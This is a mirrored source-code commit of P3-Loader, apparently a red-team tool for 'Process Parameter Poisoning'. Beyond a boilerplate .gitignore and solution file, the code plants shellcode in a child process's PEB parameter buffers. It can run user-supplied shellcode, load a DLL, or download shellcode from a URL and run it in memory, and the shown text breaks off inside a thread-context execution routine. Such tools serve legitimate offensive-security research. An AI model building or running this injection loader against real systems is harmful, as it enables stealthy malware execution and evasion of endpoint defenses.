mirror of
https://github.com/Orange-Cyberdefense/p3-loader
synced 2026-07-08 17:02:48 +00:00
Uploading VS-Project
This commit is contained in:
Zero2504
+429
@@ -0,0 +1,429 @@
|
|||||||
|
## Ignore Visual Studio temporary files, build results, and
|
||||||
|
## files generated by popular Visual Studio add-ons.
|
||||||
|
##
|
||||||
|
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
|
||||||
|
|
||||||
|
# User-specific files
|
||||||
|
*.rsuser
|
||||||
|
*.suo
|
||||||
|
*.user
|
||||||
|
*.userosscache
|
||||||
|
*.sln.docstates
|
||||||
|
*.env
|
||||||
|
|
||||||
|
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||||
|
*.userprefs
|
||||||
|
|
||||||
|
# Mono auto generated files
|
||||||
|
mono_crash.*
|
||||||
|
|
||||||
|
# Build results
|
||||||
|
[Dd]ebug/
|
||||||
|
[Dd]ebugPublic/
|
||||||
|
[Rr]elease/
|
||||||
|
[Rr]eleases/
|
||||||
|
|
||||||
|
[Dd]ebug/x64/
|
||||||
|
[Dd]ebugPublic/x64/
|
||||||
|
[Rr]elease/x64/
|
||||||
|
[Rr]eleases/x64/
|
||||||
|
bin/x64/
|
||||||
|
obj/x64/
|
||||||
|
|
||||||
|
[Dd]ebug/x86/
|
||||||
|
[Dd]ebugPublic/x86/
|
||||||
|
[Rr]elease/x86/
|
||||||
|
[Rr]eleases/x86/
|
||||||
|
bin/x86/
|
||||||
|
obj/x86/
|
||||||
|
|
||||||
|
[Ww][Ii][Nn]32/
|
||||||
|
[Aa][Rr][Mm]/
|
||||||
|
[Aa][Rr][Mm]64/
|
||||||
|
[Aa][Rr][Mm]64[Ee][Cc]/
|
||||||
|
bld/
|
||||||
|
[Oo]bj/
|
||||||
|
[Oo]ut/
|
||||||
|
[Ll]og/
|
||||||
|
[Ll]ogs/
|
||||||
|
|
||||||
|
# Build results on 'Bin' directories
|
||||||
|
**/[Bb]in/*
|
||||||
|
# Uncomment if you have tasks that rely on *.refresh files to move binaries
|
||||||
|
# (https://github.com/github/gitignore/pull/3736)
|
||||||
|
#!**/[Bb]in/*.refresh
|
||||||
|
|
||||||
|
# Visual Studio 2015/2017 cache/options directory
|
||||||
|
.vs/
|
||||||
|
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||||
|
#wwwroot/
|
||||||
|
|
||||||
|
# Visual Studio 2017 auto generated files
|
||||||
|
Generated\ Files/
|
||||||
|
|
||||||
|
# MSTest test Results
|
||||||
|
[Tt]est[Rr]esult*/
|
||||||
|
[Bb]uild[Ll]og.*
|
||||||
|
*.trx
|
||||||
|
|
||||||
|
# NUnit
|
||||||
|
*.VisualState.xml
|
||||||
|
TestResult.xml
|
||||||
|
nunit-*.xml
|
||||||
|
|
||||||
|
# Approval Tests result files
|
||||||
|
*.received.*
|
||||||
|
|
||||||
|
# Build Results of an ATL Project
|
||||||
|
[Dd]ebugPS/
|
||||||
|
[Rr]eleasePS/
|
||||||
|
dlldata.c
|
||||||
|
|
||||||
|
# Benchmark Results
|
||||||
|
BenchmarkDotNet.Artifacts/
|
||||||
|
|
||||||
|
# .NET Core
|
||||||
|
project.lock.json
|
||||||
|
project.fragment.lock.json
|
||||||
|
artifacts/
|
||||||
|
.artifacts/
|
||||||
|
|
||||||
|
# ASP.NET Scaffolding
|
||||||
|
ScaffoldingReadMe.txt
|
||||||
|
|
||||||
|
# StyleCop
|
||||||
|
StyleCopReport.xml
|
||||||
|
|
||||||
|
# Files built by Visual Studio
|
||||||
|
*_i.c
|
||||||
|
*_p.c
|
||||||
|
*_h.h
|
||||||
|
*.ilk
|
||||||
|
*.meta
|
||||||
|
*.obj
|
||||||
|
*.idb
|
||||||
|
*.iobj
|
||||||
|
*.pch
|
||||||
|
*.pdb
|
||||||
|
*.ipdb
|
||||||
|
*.pgc
|
||||||
|
*.pgd
|
||||||
|
*.rsp
|
||||||
|
# but not Directory.Build.rsp, as it configures directory-level build defaults
|
||||||
|
!Directory.Build.rsp
|
||||||
|
*.sbr
|
||||||
|
*.tlb
|
||||||
|
*.tli
|
||||||
|
*.tlh
|
||||||
|
*.tmp
|
||||||
|
*.tmp_proj
|
||||||
|
*_wpftmp.csproj
|
||||||
|
*.log
|
||||||
|
*.tlog
|
||||||
|
*.vspscc
|
||||||
|
*.vssscc
|
||||||
|
.builds
|
||||||
|
*.pidb
|
||||||
|
*.svclog
|
||||||
|
*.scc
|
||||||
|
|
||||||
|
# Chutzpah Test files
|
||||||
|
_Chutzpah*
|
||||||
|
|
||||||
|
# Visual C++ cache files
|
||||||
|
ipch/
|
||||||
|
*.aps
|
||||||
|
*.ncb
|
||||||
|
*.opendb
|
||||||
|
*.opensdf
|
||||||
|
*.sdf
|
||||||
|
*.cachefile
|
||||||
|
*.VC.db
|
||||||
|
*.VC.VC.opendb
|
||||||
|
|
||||||
|
# Visual Studio profiler
|
||||||
|
*.psess
|
||||||
|
*.vsp
|
||||||
|
*.vspx
|
||||||
|
*.sap
|
||||||
|
|
||||||
|
# Visual Studio Trace Files
|
||||||
|
*.e2e
|
||||||
|
|
||||||
|
# TFS 2012 Local Workspace
|
||||||
|
$tf/
|
||||||
|
|
||||||
|
# Guidance Automation Toolkit
|
||||||
|
*.gpState
|
||||||
|
|
||||||
|
# ReSharper is a .NET coding add-in
|
||||||
|
_ReSharper*/
|
||||||
|
*.[Rr]e[Ss]harper
|
||||||
|
*.DotSettings.user
|
||||||
|
|
||||||
|
# TeamCity is a build add-in
|
||||||
|
_TeamCity*
|
||||||
|
|
||||||
|
# DotCover is a Code Coverage Tool
|
||||||
|
*.dotCover
|
||||||
|
|
||||||
|
# AxoCover is a Code Coverage Tool
|
||||||
|
.axoCover/*
|
||||||
|
!.axoCover/settings.json
|
||||||
|
|
||||||
|
# Coverlet is a free, cross platform Code Coverage Tool
|
||||||
|
coverage*.json
|
||||||
|
coverage*.xml
|
||||||
|
coverage*.info
|
||||||
|
|
||||||
|
# Visual Studio code coverage results
|
||||||
|
*.coverage
|
||||||
|
*.coveragexml
|
||||||
|
|
||||||
|
# NCrunch
|
||||||
|
_NCrunch_*
|
||||||
|
.NCrunch_*
|
||||||
|
.*crunch*.local.xml
|
||||||
|
nCrunchTemp_*
|
||||||
|
|
||||||
|
# MightyMoose
|
||||||
|
*.mm.*
|
||||||
|
AutoTest.Net/
|
||||||
|
|
||||||
|
# Web workbench (sass)
|
||||||
|
.sass-cache/
|
||||||
|
|
||||||
|
# Installshield output folder
|
||||||
|
[Ee]xpress/
|
||||||
|
|
||||||
|
# DocProject is a documentation generator add-in
|
||||||
|
DocProject/buildhelp/
|
||||||
|
DocProject/Help/*.HxT
|
||||||
|
DocProject/Help/*.HxC
|
||||||
|
DocProject/Help/*.hhc
|
||||||
|
DocProject/Help/*.hhk
|
||||||
|
DocProject/Help/*.hhp
|
||||||
|
DocProject/Help/Html2
|
||||||
|
DocProject/Help/html
|
||||||
|
|
||||||
|
# Click-Once directory
|
||||||
|
publish/
|
||||||
|
|
||||||
|
# Publish Web Output
|
||||||
|
*.[Pp]ublish.xml
|
||||||
|
*.azurePubxml
|
||||||
|
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||||
|
# but database connection strings (with potential passwords) will be unencrypted
|
||||||
|
*.pubxml
|
||||||
|
*.publishproj
|
||||||
|
|
||||||
|
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||||
|
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||||
|
# in these scripts will be unencrypted
|
||||||
|
PublishScripts/
|
||||||
|
|
||||||
|
# NuGet Packages
|
||||||
|
*.nupkg
|
||||||
|
# NuGet Symbol Packages
|
||||||
|
*.snupkg
|
||||||
|
# The packages folder can be ignored because of Package Restore
|
||||||
|
**/[Pp]ackages/*
|
||||||
|
# except build/, which is used as an MSBuild target.
|
||||||
|
!**/[Pp]ackages/build/
|
||||||
|
# Uncomment if necessary however generally it will be regenerated when needed
|
||||||
|
#!**/[Pp]ackages/repositories.config
|
||||||
|
# NuGet v3's project.json files produces more ignorable files
|
||||||
|
*.nuget.props
|
||||||
|
*.nuget.targets
|
||||||
|
|
||||||
|
# Microsoft Azure Build Output
|
||||||
|
csx/
|
||||||
|
*.build.csdef
|
||||||
|
|
||||||
|
# Microsoft Azure Emulator
|
||||||
|
ecf/
|
||||||
|
rcf/
|
||||||
|
|
||||||
|
# Windows Store app package directories and files
|
||||||
|
AppPackages/
|
||||||
|
BundleArtifacts/
|
||||||
|
Package.StoreAssociation.xml
|
||||||
|
_pkginfo.txt
|
||||||
|
*.appx
|
||||||
|
*.appxbundle
|
||||||
|
*.appxupload
|
||||||
|
|
||||||
|
# Visual Studio cache files
|
||||||
|
# files ending in .cache can be ignored
|
||||||
|
*.[Cc]ache
|
||||||
|
# but keep track of directories ending in .cache
|
||||||
|
!?*.[Cc]ache/
|
||||||
|
|
||||||
|
# Others
|
||||||
|
ClientBin/
|
||||||
|
~$*
|
||||||
|
*~
|
||||||
|
*.dbmdl
|
||||||
|
*.dbproj.schemaview
|
||||||
|
*.jfm
|
||||||
|
*.pfx
|
||||||
|
*.publishsettings
|
||||||
|
orleans.codegen.cs
|
||||||
|
|
||||||
|
# Including strong name files can present a security risk
|
||||||
|
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||||
|
#*.snk
|
||||||
|
|
||||||
|
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||||
|
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||||
|
#bower_components/
|
||||||
|
|
||||||
|
# RIA/Silverlight projects
|
||||||
|
Generated_Code/
|
||||||
|
|
||||||
|
# Backup & report files from converting an old project file
|
||||||
|
# to a newer Visual Studio version. Backup files are not needed,
|
||||||
|
# because we have git ;-)
|
||||||
|
_UpgradeReport_Files/
|
||||||
|
Backup*/
|
||||||
|
UpgradeLog*.XML
|
||||||
|
UpgradeLog*.htm
|
||||||
|
ServiceFabricBackup/
|
||||||
|
*.rptproj.bak
|
||||||
|
|
||||||
|
# SQL Server files
|
||||||
|
*.mdf
|
||||||
|
*.ldf
|
||||||
|
*.ndf
|
||||||
|
|
||||||
|
# Business Intelligence projects
|
||||||
|
*.rdl.data
|
||||||
|
*.bim.layout
|
||||||
|
*.bim_*.settings
|
||||||
|
*.rptproj.rsuser
|
||||||
|
*- [Bb]ackup.rdl
|
||||||
|
*- [Bb]ackup ([0-9]).rdl
|
||||||
|
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||||
|
|
||||||
|
# Microsoft Fakes
|
||||||
|
FakesAssemblies/
|
||||||
|
|
||||||
|
# GhostDoc plugin setting file
|
||||||
|
*.GhostDoc.xml
|
||||||
|
|
||||||
|
# Node.js Tools for Visual Studio
|
||||||
|
.ntvs_analysis.dat
|
||||||
|
node_modules/
|
||||||
|
|
||||||
|
# Visual Studio 6 build log
|
||||||
|
*.plg
|
||||||
|
|
||||||
|
# Visual Studio 6 workspace options file
|
||||||
|
*.opt
|
||||||
|
|
||||||
|
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||||
|
*.vbw
|
||||||
|
|
||||||
|
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
|
||||||
|
*.dsw
|
||||||
|
*.dsp
|
||||||
|
|
||||||
|
# Visual Studio 6 technical files
|
||||||
|
*.ncb
|
||||||
|
*.aps
|
||||||
|
|
||||||
|
# Visual Studio LightSwitch build output
|
||||||
|
**/*.HTMLClient/GeneratedArtifacts
|
||||||
|
**/*.DesktopClient/GeneratedArtifacts
|
||||||
|
**/*.DesktopClient/ModelManifest.xml
|
||||||
|
**/*.Server/GeneratedArtifacts
|
||||||
|
**/*.Server/ModelManifest.xml
|
||||||
|
_Pvt_Extensions
|
||||||
|
|
||||||
|
# Paket dependency manager
|
||||||
|
**/.paket/paket.exe
|
||||||
|
paket-files/
|
||||||
|
|
||||||
|
# FAKE - F# Make
|
||||||
|
**/.fake/
|
||||||
|
|
||||||
|
# CodeRush personal settings
|
||||||
|
**/.cr/personal
|
||||||
|
|
||||||
|
# Python Tools for Visual Studio (PTVS)
|
||||||
|
**/__pycache__/
|
||||||
|
*.pyc
|
||||||
|
|
||||||
|
# Cake - Uncomment if you are using it
|
||||||
|
#tools/**
|
||||||
|
#!tools/packages.config
|
||||||
|
|
||||||
|
# Tabs Studio
|
||||||
|
*.tss
|
||||||
|
|
||||||
|
# Telerik's JustMock configuration file
|
||||||
|
*.jmconfig
|
||||||
|
|
||||||
|
# BizTalk build output
|
||||||
|
*.btp.cs
|
||||||
|
*.btm.cs
|
||||||
|
*.odx.cs
|
||||||
|
*.xsd.cs
|
||||||
|
|
||||||
|
# OpenCover UI analysis results
|
||||||
|
OpenCover/
|
||||||
|
|
||||||
|
# Azure Stream Analytics local run output
|
||||||
|
ASALocalRun/
|
||||||
|
|
||||||
|
# MSBuild Binary and Structured Log
|
||||||
|
*.binlog
|
||||||
|
MSBuild_Logs/
|
||||||
|
|
||||||
|
# AWS SAM Build and Temporary Artifacts folder
|
||||||
|
.aws-sam
|
||||||
|
|
||||||
|
# NVidia Nsight GPU debugger configuration file
|
||||||
|
*.nvuser
|
||||||
|
|
||||||
|
# MFractors (Xamarin productivity tool) working folder
|
||||||
|
**/.mfractor/
|
||||||
|
|
||||||
|
# Local History for Visual Studio
|
||||||
|
**/.localhistory/
|
||||||
|
|
||||||
|
# Visual Studio History (VSHistory) files
|
||||||
|
.vshistory/
|
||||||
|
|
||||||
|
# BeatPulse healthcheck temp database
|
||||||
|
healthchecksdb
|
||||||
|
|
||||||
|
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||||
|
MigrationBackup/
|
||||||
|
|
||||||
|
# Ionide (cross platform F# VS Code tools) working folder
|
||||||
|
**/.ionide/
|
||||||
|
|
||||||
|
# Fody - auto-generated XML schema
|
||||||
|
FodyWeavers.xsd
|
||||||
|
|
||||||
|
# VS Code files for those working on multiple tools
|
||||||
|
.vscode/*
|
||||||
|
!.vscode/settings.json
|
||||||
|
!.vscode/tasks.json
|
||||||
|
!.vscode/launch.json
|
||||||
|
!.vscode/extensions.json
|
||||||
|
!.vscode/*.code-snippets
|
||||||
|
|
||||||
|
# Local History for Visual Studio Code
|
||||||
|
.history/
|
||||||
|
|
||||||
|
# Built Visual Studio Code Extensions
|
||||||
|
*.vsix
|
||||||
|
|
||||||
|
# Windows Installer files from build outputs
|
||||||
|
*.cab
|
||||||
|
*.msi
|
||||||
|
*.msix
|
||||||
|
*.msm
|
||||||
|
*.msp
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 17
|
||||||
|
VisualStudioVersion = 17.14.36717.8 d17.14
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "P3-Loader", "P3-Loader\P3-Loader.vcxproj", "{B63C84FA-6216-425F-8392-AD42FD7A3E8F}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x64.Build.0 = Release|x64
|
||||||
|
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{B63C84FA-6216-425F-8392-AD42FD7A3E8F}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {C8C1F750-DBF8-4DDB-8BB7-2B09758A010F}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
#include "HTTPClient.h"
|
||||||
|
|
||||||
|
#pragma comment(lib, "wininet.lib")
|
||||||
|
|
||||||
|
HTTPClient::HTTPClient(const wchar_t* user_agent)
|
||||||
|
{
|
||||||
|
m_hInternet = InternetOpenW(user_agent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
|
||||||
|
if (!m_hInternet) {
|
||||||
|
printf("[-] InternetOpen failed with error: %d\n", GetLastError());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HTTPClient::~HTTPClient()
|
||||||
|
{
|
||||||
|
if (m_hInternet)
|
||||||
|
InternetCloseHandle(m_hInternet);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> HTTPClient::DownloadURL(const wchar_t* url)
|
||||||
|
{
|
||||||
|
std::vector<uint8_t> result;
|
||||||
|
|
||||||
|
if (!m_hInternet) {
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
HINTERNET hInternet_url;
|
||||||
|
hInternet_url = InternetOpenUrlW(m_hInternet, url, NULL, 0, 0, NULL);
|
||||||
|
if (!hInternet_url) {
|
||||||
|
printf("[-] InternetOpenUrlW failed with error: %d\n", GetLastError());
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL success;
|
||||||
|
DWORD status;
|
||||||
|
DWORD index = 0;
|
||||||
|
DWORD query_size = sizeof(status);
|
||||||
|
success = HttpQueryInfoW(hInternet_url, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &status, &query_size, &index);
|
||||||
|
if (!success) {
|
||||||
|
printf("[-] HttpQueryInfoW status failed with error: %d\n", GetLastError());
|
||||||
|
InternetCloseHandle(hInternet_url);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
if (query_size != sizeof(status)) {
|
||||||
|
printf("[-] HttpQueryInfoW status, retrieved too few bytes\n");
|
||||||
|
InternetCloseHandle(hInternet_url);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
if (status != HTTP_STATUS_OK) {
|
||||||
|
printf("[-] Error HTTP Status: %d\n", status);
|
||||||
|
InternetCloseHandle(hInternet_url);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
uint8_t tempbuf[1024];
|
||||||
|
DWORD nBytesRead = 0;
|
||||||
|
do {
|
||||||
|
nBytesRead = 0;
|
||||||
|
success = InternetReadFile(hInternet_url, tempbuf, 1024, &nBytesRead);
|
||||||
|
if (!success) {
|
||||||
|
printf("[-] InternetReadFile failed with error: %d\n", GetLastError());
|
||||||
|
InternetCloseHandle(hInternet_url);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
result.insert(result.end(), tempbuf, tempbuf + nBytesRead);
|
||||||
|
} while (nBytesRead == 1024);
|
||||||
|
|
||||||
|
InternetCloseHandle(hInternet_url);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef HTTP_CLIENT_H
|
||||||
|
#define HTTP_CLIENT_H
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <wininet.h>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
class HTTPClient {
|
||||||
|
public:
|
||||||
|
HTTPClient(const wchar_t* user_agent);
|
||||||
|
~HTTPClient();
|
||||||
|
std::vector<uint8_t> DownloadURL(const wchar_t* url);
|
||||||
|
private:
|
||||||
|
HINTERNET m_hInternet;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // HTTP_CLIENT_H
|
||||||
@@ -0,0 +1,111 @@
|
|||||||
|
/**
|
||||||
|
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||||
|
* Project: Process Parameter Poisoning
|
||||||
|
* Notes: Built with ❤️ and undefined behavior.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
const WORD ORANGE = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||||
|
|
||||||
|
static const char* kAuthors =
|
||||||
|
"Authors: Max Hirschberger & Ogulcan Ugur — keep calm and code on.";
|
||||||
|
|
||||||
|
// Setting fancy colors
|
||||||
|
void SetColor(int color) {
|
||||||
|
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||||
|
SetConsoleTextAttribute(hConsole, color);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void PrintHeader(const char* title) {
|
||||||
|
printf("\n=================================================================\n");
|
||||||
|
printf(" %s\n", title);
|
||||||
|
printf("=================================================================\n\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void PrintLogo() {
|
||||||
|
|
||||||
|
wprintf(L"\x1b[2J\x1b[3J");
|
||||||
|
printf("\n");
|
||||||
|
printf("+=================================================+\n");
|
||||||
|
printf("| PPP - Loader |\n");
|
||||||
|
printf("| |\n");
|
||||||
|
printf("| Process Parameters Poisoning |\n");
|
||||||
|
printf("| |\n");
|
||||||
|
printf("| Created by: Max Hirschberger & Ogulcan Ugur |\n");
|
||||||
|
printf("| Version: 1.0 |\n");
|
||||||
|
printf("| |\n");
|
||||||
|
printf("+=================================================+\n\n");
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
void ShowFunctionMenu(unsigned int* choice, unsigned int* shellExecutionChoice, char* dllPath, wchar_t* lpApplication) {
|
||||||
|
|
||||||
|
unsigned int useDefaultApp = 1;
|
||||||
|
|
||||||
|
do {
|
||||||
|
SetColor(ORANGE);
|
||||||
|
PrintHeader("PEB Shellcode Placement");
|
||||||
|
printf("\n[?] Choose where to place the shellcode in the PEB (Process Environment Block):\n\n");
|
||||||
|
printf(" 1) ShellInfo (PEB->ProcessParameters->ShellInfo.Buffer)\n");
|
||||||
|
printf(" 2) Environment Variable (PEB->ProcessParameters->Environment)\n");
|
||||||
|
printf(" 3) Command Line (PEB->ProcessParameters->CommandLine.Buffer)\n");
|
||||||
|
printf("\n[>] Enter selection (1-3): ");
|
||||||
|
scanf_s("%u", choice);
|
||||||
|
|
||||||
|
if (*choice < 1 || *choice > 3) {
|
||||||
|
SetColor(FOREGROUND_RED);
|
||||||
|
printf("[-] Invalid choice. Please try again.\n\n");
|
||||||
|
}
|
||||||
|
} while (*choice < 1 || *choice > 3);
|
||||||
|
|
||||||
|
printf("[+] You selected option %u\n", *choice);
|
||||||
|
|
||||||
|
|
||||||
|
do {
|
||||||
|
SetColor(ORANGE);
|
||||||
|
PrintHeader("Function Method");
|
||||||
|
printf("[?] Choose function method:\n\n");
|
||||||
|
printf(" 1) Demo: show a MessageBox\n");
|
||||||
|
printf(" 2) User-supplied shellcode (null bytes supported)\n");
|
||||||
|
printf(" 3) Load DLL via shellcode (DLL must exist on disk)\n");
|
||||||
|
printf(" 4) In-memory shellcode from URL\n");
|
||||||
|
printf("\n[>] Enter selection (1-4): ");
|
||||||
|
scanf_s("%u", shellExecutionChoice);
|
||||||
|
|
||||||
|
if (*shellExecutionChoice < 1 || *shellExecutionChoice > 4) {
|
||||||
|
SetColor(FOREGROUND_RED);
|
||||||
|
printf("[-] Invalid choice. Please try again.\n\n");
|
||||||
|
}
|
||||||
|
} while (*shellExecutionChoice < 1 || *shellExecutionChoice > 4);
|
||||||
|
|
||||||
|
printf("\n[+] You selected option %u\n", *shellExecutionChoice);
|
||||||
|
|
||||||
|
|
||||||
|
if (*shellExecutionChoice == 3) {
|
||||||
|
printf("\n[*] Example: C:\\Users\\sample.dll ");
|
||||||
|
printf("\n[!] Please enter full path to DLL: ");
|
||||||
|
scanf_s("%s", dllPath, MAX_PATH);
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
SetColor(ORANGE);
|
||||||
|
PrintHeader("Target Application");
|
||||||
|
wprintf(L"[?] Current default application is: %s\n", lpApplication);
|
||||||
|
printf("[?] Would you like to change the default application used for shell/DLL launching?\n");
|
||||||
|
printf(" 1) Keep default\n");
|
||||||
|
printf(" 2) Change application path\n");
|
||||||
|
printf("\n[>] Enter selection (1-2): ");
|
||||||
|
scanf_s("%u", &useDefaultApp);
|
||||||
|
} while (useDefaultApp < 1 || useDefaultApp > 2);
|
||||||
|
|
||||||
|
|
||||||
|
if (useDefaultApp == 2) {
|
||||||
|
wprintf(L"\n[!] Please enter full path to Executable: ");
|
||||||
|
wscanf_s(L" %259[^\n]", lpApplication, MAX_PATH);
|
||||||
|
getwchar();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
/*
|
||||||
|
* File: Menu.h
|
||||||
|
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef MENU_H
|
||||||
|
#define MENU_H
|
||||||
|
|
||||||
|
void SetColor(int);
|
||||||
|
void PrintLogo();
|
||||||
|
void ShowFunctionMenu(unsigned int*, unsigned int*, char*, wchar_t*);
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,256 @@
|
|||||||
|
/**
|
||||||
|
* Authors: Max Hirschberger & Ogulcan Ugur
|
||||||
|
* Project: Process Parameter Poisoning
|
||||||
|
* Notes: Built with ❤️ and undefined behavior.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define STATUS_ACCESS_DENIED 5
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include <cinttypes>
|
||||||
|
#include <conio.h>
|
||||||
|
#include "imports.h"
|
||||||
|
#include "Menu.h"
|
||||||
|
#include "ShellCodeWriter.h"
|
||||||
|
#include "ShellCodeUserInput.h"
|
||||||
|
#include "WinApiResolver.h"
|
||||||
|
|
||||||
|
const WORD ORANGE = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||||
|
const WORD BRIGHT_CYAN = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||||
|
const WORD LIGHT_GREEN = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
|
||||||
|
|
||||||
|
|
||||||
|
std::vector<uint8_t> BuildShellPayload(int payloadShellcodeChoice, const char* dllPath) {
|
||||||
|
|
||||||
|
std::vector<uint8_t> myCode;
|
||||||
|
|
||||||
|
myCode.push_back(0x41); // L'A'
|
||||||
|
myCode.push_back(0x00);
|
||||||
|
myCode.push_back('='); // L'='
|
||||||
|
myCode.push_back(0x00);
|
||||||
|
myCode.insert(myCode.end(), 4096, 0x41);
|
||||||
|
|
||||||
|
|
||||||
|
if (payloadShellcodeChoice == 1) { // Direct MessageBox
|
||||||
|
ShellCodeWriter w;
|
||||||
|
w.CallMessageBoxA(0, "Injected by PPP-Shellcode Loader", "Shell code was injected successfully!", 0);
|
||||||
|
w.CallTerminateProcess(NULL, 0);
|
||||||
|
std::vector<uint8_t> mbox_sc = w.GetShellCodeBytes();
|
||||||
|
myCode.insert(myCode.end(), mbox_sc.begin(), mbox_sc.end());
|
||||||
|
}
|
||||||
|
else if (payloadShellcodeChoice == 2) { // User supplied ShellCode via LoadAndCallShellCode
|
||||||
|
std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetConsoleInput();
|
||||||
|
myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
|
||||||
|
}
|
||||||
|
else if (payloadShellcodeChoice == 3) { // Loading On-Disk DLL
|
||||||
|
ShellCodeWriter w;
|
||||||
|
w.CallLoadLibraryA(dllPath);
|
||||||
|
w.CallTerminateProcess(NULL, 0);
|
||||||
|
std::vector<uint8_t> ll_sc = w.GetShellCodeBytes();
|
||||||
|
myCode.insert(myCode.end(), ll_sc.begin(), ll_sc.end());
|
||||||
|
}
|
||||||
|
else if (payloadShellcodeChoice == 4) { // Downloaded from URL
|
||||||
|
std::vector<uint8_t> user_sup_sc = ShellCodeUserInput::GetURLInput();
|
||||||
|
myCode.insert(myCode.end(), user_sup_sc.begin(), user_sup_sc.end());
|
||||||
|
}
|
||||||
|
|
||||||
|
myCode.insert(myCode.end(), 4096, 0x41);
|
||||||
|
myCode.insert(myCode.end(), 5, 0);
|
||||||
|
|
||||||
|
return myCode;
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) {
|
||||||
|
CONTEXT ctx;
|
||||||
|
ctx = { 0 };
|
||||||
|
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL-Flag is enough
|
||||||
|
|
||||||
|
WinApiResolver winapi = WinApiResolver::GetInstance();
|
||||||
|
if (winapi.LdrControlFlowGuardEnforced()) {
|
||||||
|
return STATUS_ACCESS_DENIED;
|
||||||
|
}
|
||||||
|
|
||||||
|
NTSTATUS status = 0;
|
||||||
|
|
||||||
|
